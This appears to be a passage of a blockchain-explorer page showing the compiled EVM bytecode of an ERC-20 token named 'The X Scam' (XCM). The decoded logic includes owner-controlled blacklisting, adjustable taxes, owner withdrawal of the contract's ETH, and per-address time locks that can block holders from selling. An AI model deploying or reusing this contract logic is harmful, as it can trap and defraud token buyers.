00613cb1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4282613549565b9150613f4d83613549565b925082613f5d57613f5c613f08565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b6000613f9e601083613430565b9150613fa982613f68565b602082019050919050565b60006020820190508181036000830152613fcd81613f91565b9050919050565b6000613fdf8261370b565b9150613fea8361370b565b9250828201905060ff81111561400357614002613cb1565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b600061403f601683613430565b915061404a82614009565b602082019050919050565b6000602082019050818103600083015261406e81614032565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b60006140ab601883613430565b91506140b682614075565b602082019050919050565b600060208201905081810360008301526140da8161409e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061411b82613549565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361414d5761414c613cb1565b5b600182019050919050565b600061416382613549565b915061416e83613549565b925061419b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b60006040820190506141b860008301856137c7565b6141c560208301846135f5565b9392505050565b6000815190506141db8161364c565b92915050565b6000602082840312156141f7576141f66134e1565b5b6000614205848285016141cc565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061426a602683613430565b91506142758261420e565b604082019050919050565b600060208201905081810360008301526142998161425d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142fc602483613430565b9150614307826142a0565b604082019050919050565b6000602082019050818103600083015261432b816142ef565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061438e602283613430565b915061439982614332565b604082019050919050565b600060208201905081810360008301526143bd81614381565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614420602583613430565b915061442b826143c4565b604082019050919050565b6000602082019050818103600083015261444f81614413565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144b2602383613430565b91506144bd82614456565b604082019050919050565b600060208201905081810360008301526144e1816144a5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614544602983613430565b915061454f826144e8565b604082019050919050565b6000602082019050818103600083015261457381614537565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b60006145d6602983613430565b91506145e18261457a565b604082019050919050565b60006020820190508181036000830152614605816145c9565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b6000614642601883613430565b915061464d8261460c565b602082019050919050565b6000602082019050818103600083015261467181614635565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b60006146d4602683613430565b91506146df82614678565b604082019050919050565b60006020820190508181036000830152614703816146c7565b9050919050565b6000815190506147198161351d565b92915050565b600060208284031215614735576147346134e1565b5b60006147438482850161470a565b91505092915050565b6000819050919050565b600061477161476c6147678461474c565b613b86565b613549565b9050919050565b61478181614756565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147bc8161350b565b82525050565b60006147ce83836147b3565b60208301905092915050565b6000602082019050919050565b60006147f282614787565b6147fc8185614792565b9350614807836147a3565b8060005b8381101561483857815161481f88826147c2565b975061482a836147da565b92505060018101905061480b565b5085935050505092915050565b600060a08201905061485a60008301886135f5565b6148676020830187614778565b818103604083015261487981866147e7565b905061488860608301856137c7565b61489560808301846135f5565b9695505050505050565b600060c0820190506148b460008301896137c7565b6148c160208301886135f5565b6148ce6040830187614778565b6148db6060830186614778565b6148e860808301856137c7565b6148f560a08301846135f5565b979650505050505050565b60008151905061490f81613553565b92915050565b60008060006060848603121561492e5761492d6134e1565b5b600061493c86828701614900565b935050602061494d86828701614900565b925050604061495e86828701614900565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b600061499e601d83613430565b91506149a982614968565b602082019050919050565b600060208201905081810360008301526149cd81614991565b9050919050565b600081905092915050565b50565b60006149ef6000836149d4565b91506149fa826149df565b600082019050919050565b6000614a10826149e2565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614a76603a83613430565b9150614a8182614a1a565b604082019050919050565b60006020820190508181036000830152614aa581614a69565b905091905056fea2646970667358221220e81e7d7136b442e15a243855da1aee0e2303292879365a83c20a67632047629264736f6c63430008110033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b146108bc578063f837ae07146108e5578063f887ea401461090e578063f8b45b0514610939578063f9d0ee941461096457610246565b8063cfe9dde0146107db578063d14aae6614610804578063dd62ed3e1461082d578063e27e65881461086a578063e4b994091461089357610246565b8063a9059cbb116100f2578063a9059cbb146106df578063b72a47341461071c578063ca1c81ae14610745578063cc1776d314610782578063cdcfa74a146107b057610246565b80638da5cb5b146105f8578063921cacef1461062357806395d89b411461064c578063a457c2d714610677578063a8aa1b31146106b457610246565b80634f7041a5116101bc57806370d8da531161018057806370d8da5314610527578063715018a614610550578063768dc710146105675780638305e2e3146105a45780638c0b5e22146105cd57610246565b80634f7041a51461044f578063610ec8231461047d578063698f6983146104aa5780636a49ccbb146104c157806370a08231146104ea57610246565b806323b872dd1161020357806323b872dd1461034457806328c61f4114610381578063313ce567146103be57806339509351146103e95780634ba422bc1461042657610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cdd3be3146102de5780631e17989e1461031b57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610992565b60405161026d91906134b5565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061357f565b6109cf565b6040516102aa91906135da565b60405180910390f35b3480156102bf57600080fd5b506102c86109ed565b6040516102d59190613604565b60405180910390f35b3480156102ea57600080fd5b506103056004803603810190610300919061361f565b6109f7565b60405161031291906135da565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190613678565b610a17565b005b34801561035057600080fd5b5061036b600480360381019061036691906136b8565b610aee565b60405161037891906135da565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061361f565b610ba6565b6040516103b591906135da565b60405180910390f35b3480156103ca57600080fd5b506103d3610bc6565b6040516103e09190613727565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b919061357f565b610bcf565b60405161041d91906135da565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613742565b610c7b565b005b34801561045b57600080fd5b50610464610dc1565b6040516104749493929190613782565b60405180910390f35b34801561048957600080fd5b50610492610e13565b6040516104a1939291906137d6565b60405180910390f35b3480156104b657600080fd5b506104bf610e8c565b005b3480156104cd57600080fd5b506104e860048036038101906104e39190613839565b610f1e565b005b3480156104f657600080fd5b50610511600480360381019061050c919061361f565b6110f0565b60405161051e9190613604565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190613742565b611139565b005b34801561055c57600080fd5b506105656111df565b005b34801561057357600080fd5b5061058e6004803603810190610589919061361f565b611267565b60405161059b91906135da565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c691906138a0565b611287565b005b3480156105d957600080fd5b506105e2611390565b6040516105ef9190613604565b60405180910390f35b34801561060457600080fd5b5061060d611396565b60405161061a91906138cd565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906138e8565b6113bf565b005b34801561065857600080fd5b50610661611503565b60405161066e91906134b5565b60405180910390f35b34801561068357600080fd5b5061069e6004803603810190610699919061357f565b611540565b6040516106ab91906135da565b60405180910390f35b3480156106c057600080fd5b506106c96115ec565b6040516106d691906138cd565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061357f565b611612565b60405161071391906135da565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190613678565b611630565b005b34801561075157600080fd5b5061076c6004803603810190610767919061361f565b611707565b6040516107799190613604565b60405180910390f35b34801561078e57600080fd5b5061079761171f565b6040516107a79493929190613782565b60405180910390f35b3480156107bc57600080fd5b506107c5611771565b6040516107d29190613604565b60405180910390f35b3480156107e757600080fd5b5061080260048036038101906107fd9190613a83565b611777565b005b34801561081057600080fd5b5061082b60048036038101906108269190613839565b611888565b005b34801561083957600080fd5b50610854600480360381019061084f9190613adf565b611a5a565b6040516108619190613604565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c919061357f565b611ae1565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190613b1f565b611bb0565b005b3480156108c857600080fd5b506108e360048036038101906108de919061361f565b611cc8565b005b3480156108f157600080fd5b5061090c60048036038101906109079190613678565b611dbf565b005b34801561091a57600080fd5b50610923611e96565b6040516109309190613be5565b60405180910390f35b34801561094557600080fd5b5061094e611ebc565b60405161095b9190613604565b60405180910390f35b34801561097057600080fd5b50610979611ec2565b6040516109899493929190613c00565b60405180910390f35b60606040518060400160405280600a81526020017f5468652058205363616d00000000000000000000000000000000000000000000815250905090565b60006109e36109dc611ee0565b8484611ee8565b6001905092915050565b6000600c54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b610a1f611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610a3d611396565b73ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90613c91565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610afb8484846120b1565b610b9b84610b07611ee0565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b51611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b969190613ce0565b611ee8565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c71610bdc611ee0565b848460046000610bea611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6c9190613d14565b611ee8565b6001905092915050565b610c83611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610ca1611396565b73ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90613c91565b60405180910390fd5b60006009600a610d079190613e7b565b6103e86005600c54610d199190613ec6565b610d239190613f37565b610d2d9190613f37565b9050808310158015610d3f5750808210155b610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613fb4565b60405180910390fd5b6009600a610d8c9190613e7b565b83610d979190613ec6565b600e819055506009600a610dab9190613e7b565b82610db69190613ec6565b600f81905550505050565b60148060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b6000806000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925092509250909192565b610e94611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610eb2611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613c91565b60405180910390fd5b600a5442610f169190613d14565b600981905550565b610f26611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610f44611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190613c91565b60405180910390fd5b600081838587610faa9190613fd4565b610fb49190613fd4565b610fbe9190613fd4565b60ff1690506014811115611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611141611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661115f611396565b73ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90613c91565b60405180910390fd5b6009600a6111c39190613e7b565b826111ce9190613ec6565b600d81905550806019819055505050565b6111e7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611205611396565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290613c91565b60405180910390fd5b6112656000612891565b565b60056020528060005260406000206000915054906101000a900460ff1681565b61128f611ee0565b73ffffffffffffffffffffffffffffffffffffffff166112ad611396565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c91565b60405180910390fd5b80471015611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d906140c1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561138c573d6000803e3d6000fd5b5050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6113c7611ee0565b73ffffffffffffffffffffffffffffffffffffffff166113e5611396565b73ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290613c91565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60606040518060400160405280600381526020017f58434d0000000000000000000000000000000000000000000000000000000000815250905090565b60006115e261154d611ee0565b84846004600061155b611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115dd9190613ce0565b611ee8565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061162661161f611ee0565b84846120b1565b6001905092915050565b611638611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611656611396565b73ffffffffffffffffffffffffffffffffffffffff16146116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613c91565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60086020528060005260406000206000915090505481565b60158060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b60095481565b61177f611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661179d611396565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613c91565b60405180910390fd5b60005b8251811015611883578160076000858481518110611817576118166140e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061187b90614110565b9150506117f6565b505050565b611890611ee0565b73ffffffffffffffffffffffffffffffffffffffff166118ae611396565b73ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb90613c91565b60405180910390fd5b6000818385876119149190613fd4565b61191e9190613fd4565b6119289190613fd4565b60ff169050601e811115611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ae9611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611b07611396565b73ffffffffffffffffffffffffffffffffffffffff1614611b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5490613c91565b60405180910390fd5b8042611b699190613d14565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611bb8611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611bd6611396565b73ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613c91565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a611c569190614158565b85611c619190613ec6565b6040518363ffffffff1660e01b8152600401611c7e9291906141a3565b6020604051808303816000875af1158015611c9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc191906141e1565b5050505050565b611cd0611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611cee611396565b73ffffffffffffffffffffffffffffffffffffffff1614611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90613c91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90614280565b60405180910390fd5b611dbc81612891565b50565b611dc7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611de5611396565b73ffffffffffffffffffffffffffffffffffffffff1614611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613c91565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154908060020154908060030154905084565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90614312565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906143a4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120a49190613604565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790614436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906144c8565b60405180910390fd5b600081116121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c99061455a565b60405180910390fd5b600e548111158061222c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906145ec565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561230f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61234e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234590614658565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123f857600f54816123ac846110f0565b6123b69190613d14565b11156123f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ee906146ea565b60405180910390fd5b5b600d54612404306110f0565b101580156124215750601954601a5461241d9190613d14565b4210155b801561243a5750601860149054906101000a900460ff16155b80156124945750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124d357506124a3611396565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561251257506124e2611396565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125205761251f612955565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461256f9190613ce0565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561261f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d05761267f8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612c49565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126e057504260095410155b1561273b57600b54426126f39190613d14565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cf565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146127ce57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442106127cd57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281f9190613d14565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128839190613604565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601860146101000a81548160ff021916908315150217905550600060106002015460106001015460106000015461298e9190613d14565b6129989190613d14565b90506000811115612b8f5760006129ae82612f83565b9050600082601060000154836129c49190613ec6565b6129ce9190613f37565b9050600083601060010154846129e49190613ec6565b6129ee9190613f37565b905060008460106002015485612a049190613ec6565b612a0e9190613f37565b90506000831115612a8e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612a81573d6000803e3d6000fd5b5060006010600001819055505b6000821115612b0c57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aff573d6000803e3d6000fd5b5060006010600101819055505b6000811115612b8a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b7d573d6000803e3d6000fd5b5060006010600201819055505b505050505b60006010600301541115612bf85760006002601060030154612bb19190613f37565b9050600081601060030154612bc69190613ce0565b90506000612bd383612f83565b90506000811115612be957612be882826131dd565b5b60006010600301819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142601a81905550506000601860146101000a81548160ff021916908315150217905550565b60008060146040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090508215612d595760156040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612d709190613ec6565b612d7a9190613f37565b905060006064836020015160ff1688612d939190613ec6565b612d9d9190613f37565b905060006064846040015160ff1689612db69190613ec6565b612dc09190613f37565b905060006064856060015160ff168a612dd99190613ec6565b612de39190613f37565b90506000841115612e0b578360106000016000828254612e039190613d14565b925050819055505b6000831115612e31578260106001016000828254612e299190613d14565b925050819055505b6000821115612e57578160106002016000828254612e4f9190613d14565b925050819055505b6000811115612e7d578060106003016000828254612e759190613d14565b925050819055505b600081838587612e8d9190613d14565b612e979190613d14565b612ea19190613d14565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ef29190613d14565b925050819055506000811115612f68573073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f5f9190613604565b60405180910390a35b808a612f749190613ce0565b96505050505050509392505050565b6000804790506000600267ffffffffffffffff811115612fa657612fa5613940565b5b604051908082528060200260200182016040528015612fd45781602001602082028036833780820191505090505b5090503081600081518110612fec57612feb6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b7919061471f565b816001815181106130cb576130ca6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061313230600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401613196959493929190614845565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b5050505081476131d49190613ce0565b92505050919050565b61320a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ee8565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080613258611396565b426040518863ffffffff1660e01b815260040161327a9695949392919061489f565b60606040518083038185885af1158015613298573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132bd9190614915565b50915050600081836132cf9190613ce0565b111561332c5761332b81836132e49190613ce0565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661333190919063ffffffff16565b5b505050565b80471015613374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336b906149b4565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161339a90614a05565b60006040518083038185875af1925050503d80600081146133d7576040519150601f19603f3d011682016040523d82523d6000602084013e6133dc565b606091505b5050905080613420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161341790614a8c565b60405180910390fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561345f578082015181840152602081019050613444565b60008484015250505050565b6000601f19601f8301169050919050565b600061348782613425565b6134918185613430565b93506134a1818560208601613441565b6134aa8161346b565b840191505092915050565b600060208201905081810360008301526134cf818461347c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613516826134eb565b9050919050565b6135268161350b565b811461353157600080fd5b50565b6000813590506135438161351d565b92915050565b6000819050919050565b61355c81613549565b811461356757600080fd5b50565b60008135905061357981613553565b92915050565b60008060408385031215613596576135956134e1565b5b60006135a485828601613534565b92505060206135b58582860161356a565b9150509250929050565